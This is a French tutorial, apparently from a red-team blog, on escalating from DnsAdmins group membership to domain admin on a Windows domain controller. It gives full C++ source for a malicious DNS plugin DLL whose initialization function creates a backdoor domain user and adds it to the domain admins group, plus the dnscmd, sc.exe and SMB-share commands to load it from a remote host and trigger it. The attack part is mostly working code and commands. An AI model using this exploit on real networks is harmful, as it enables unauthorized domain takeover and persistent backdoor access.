Exploitation du groupe DnsAdmins

Cet article illustrera comment il est possible d'exploiter le groupe Dnsadmin dans le but d'obtenir les droits NT\System sur une machine. Le scénario est le suivant, vous venez d'obtenir les identifiants de l'utilisateur "dnsuser" faisant parti du domaine whiteflag.local. Au culot vous décidez de tenter une connexion direct au DC via WinRM et vous obtener un shell distant.

La première chose que l'on voudra faire c'est vérifier les droits de notre utilisateur ainsi que les groupes dont il fait partie:

whoami /all

Deux choses sont intéressantes ici, premièrement l'utilisateur dnsuser fait parti du groupe d'administration à distance. Un simple utilisateur ne devrait pas faire partie de ce groupe et par conséquent ne devrait pas pouvoir se connecter sur un DC. La seconde chose c'est que cet utilisateur fait parti du groupe d'administration DnsAdmins.

Ce qui est intéressant avec ce groupe c'est que tout utilisateur qui en fait partie peut administrer le serveur DNS du domaine. Outre toutes les attaques possibles liées au poisoning, ce qui va fortement nous intéresser c'est que le binaire utilisé pour administrer le service DNS (dnscmd.exe) offre plusieurs options dont une qui va nous permettre de charger une DLL qui sera exécutée au lancement du service DNS. Oui oui, une DLL...

Nous ne pourrons cependant pas utiliser n'importe quelle DLL, en effet le binaire dnscmd s'attend à ce que la DLL respecte un certain format. En faisant mes recherches sur ce sujet je suis tombé sur plusieurs articles dont celui de ired (je vous invite vraiment à aller lire son blog il regorge d'informations utiles pour des missions de redteam) et cet article de sabebarwker qui explique tout le procédé à suivre pour créer une DLL fonctionnelle.

Pour commencer nous allons ouvrir Visual Studio et démarrer un projet "DLL avec exports":

Pour ma part je vais appeler ce projet "dns_privesc".

Visual Studio va nous créer deux templates: dllmain.cpp:

// dllmain.cpp : Définit le point d'entrée de l'application DLL.
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Et dns_privesc.cpp (différent suivant le nom de votre projet):

// dns_privesc.cpp : Définit les fonctions exportées de la DLL.
//

#include "pch.h"
#include "framework.h"
#include "dns_privesc.h"


// Il s'agit d'un exemple de variable exportée
DNSPRIVESC_API int ndnsprivesc=0;

// Il s'agit d'un exemple de fonction exportée.
DNSPRIVESC_API int fndnsprivesc(void)
{
    return 0;
}

// Il s'agit du constructeur d'une classe qui a été exportée.
Cdnsprivesc::Cdnsprivesc()
{
    return;
}

Le fichier dllmain.cpp définit ce qu'on appelle le point d’entrée de la DLL. Comme vous pouvez le voir la fontion DllMain prend en arguments plusieurs paramètre dont:

DWORD ul_reason_for_call

Plus tard dans le code on peut voir qu'il y a un switch sur cet argument et qu'il peut avoir quatre valeurs distinctes:

  1. DLL_PROCESS_ATTACH
  2. DLL_PROCESS_DETACH
  3. DLL_THREAD_ATTACH
  4. DLL_THREAD_DETACH

Ce switch va nous permettre en tant que développeur d'indiquer d'exécuter du code au moment où la DLL sera chargée/déchargée par un processus ou un thread. On pourra par exemple s'en servir pour créer des structures que l'on utilisera plus tard. Pour le moment nous n'en aurons pas besoin donc nous allons laisser ce fichier tel quel.

Le second fichier quant à lui est le fichier qui contient l'ensemble des fonctions que proposera notre DLL. Nous allons de suite modifier son contenu par le code suivant:

#include "pch.h"
#include <stdlib.h>
#include "framework.h"
#include "DNSAdmin.h"

#define DNS_PLUGIN_API  __declspec ( dllexport )

#pragma comment(linker,"/EXPORT:DnsPluginInitialize=?DnsPluginInitialize@@YAHPEAX0@Z")
DNS_PLUGIN_API int DnsPluginInitialize(PVOID a1, PVOID a2) {
    system("net user defte Defte@WF /add /domain");
  	system("net group 'Admins du domaine' defte /add /domain");
    return 0;
}

#pragma comment(linker,"/EXPORT:DnsPluginCleanup=?DnsPluginCleanup@@YAHXZ")
DNS_PLUGIN_API int DnsPluginCleanup() { return 0; }

#pragma comment(linker,"/EXPORT:DnsPluginQuery=?DnsPluginQuery@@YAHPEAX000@Z")
DNS_PLUGIN_API int DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }

Plusieurs choses sont à noter ici. Tout d'abord notre DLL exportera 3 functions: DnsPluginInitialize, DnsPluginCleanup et DnsPluginQuery. Chacune de ces fonctions est précédé du mot clé DNS_PLUGIN_API qui est un alias sur le mort clé:

__declspec ( dllexport )

Ce mot clé doit toujours être spécifié devant une fonction destinée à être exportée.

Exporter une fonction d'une DLL revient à la rendre disponible à d'autres programmes. Si vous n'exportez pas ces trois fonctions, le binaire dnscmd.exe ne pourra pas les utiliser.

Autre chose, on peut voir que la fonction DnsPluginInitialize  exécute la fonction system. En fait c'est cette fonction que nous allons exploiter pour privesc via le binaire dnscd. Lorsque nous allons redémarrer le serveur DNS, la fonction DnsPluginInitialize sera appelée et backdoorera l'active directory en y ajoutant l'utilisateur defte.

Il ne nous reste plus qu'à générer la solution en s'assurant que l'on cible la bonne architecture:

Si nous compilons la DLL telle quelle nous ne pourrons pas la lancer sur une machine distante. En effet Visual Studio se sert énormément d'une DLL: VCRUNTIME. Cette DLL n'est pas présente par défaut donc nous allons devoir la linker de manière statique à notre DLL.

Par défaut Visual Studio ne linkera pas VCRUNTIME statiquement, il va donc falloir modifier les paramètres de ce dernier. Pour cela il faudra sélectionner votre projet visual studio:

Faire un clic droit puis vous rendre dans les paramètres. Ensuite il faudra sélectionner l'onglet suivant:

Et modifier la valeur de l'option "Bibliothèque Runtime" de "DLL Multithread (/MD)" à "Multithread (/MT)". Cette modification nous permettra d'embarquer la librairie VCRUNTIME au sein de notre DLL. Puis il faudra générer la DLL (Ctrl + Shift + B) et nous obtiendrons notre DLL:

Il ne nous reste plus qu'à monter un share SMB puis utiliser le binaire dnscmd pour charger notre DLL via la commande suivante:

sc.exe stop dns
dnscmd.exe DC /config /serverlevelplugindll \\10.0.2.1\share\DNSPRIVESC.dl

On pourra d'ailleurs s'assurer que l'exploit a bien fonctionné en vérifiant le contenu de la clé de registre suivante:

Get-ItemProperty HKLM:\Software\CurrentControlSet\Services\DNS\Parameters

Il ne reste plus qu'à redémarrer le service DNS pour que notre payload soit exécuté:

sc.exe \\DC start dns

Que notre utilisateur backdoor soit créé et fasse parti du gorupe "Admins du domaine":

Si vous avez suivi l'article de bout en bout vous verrez que le service DNS ne crashera pas et votre exploit fonctionnera :) !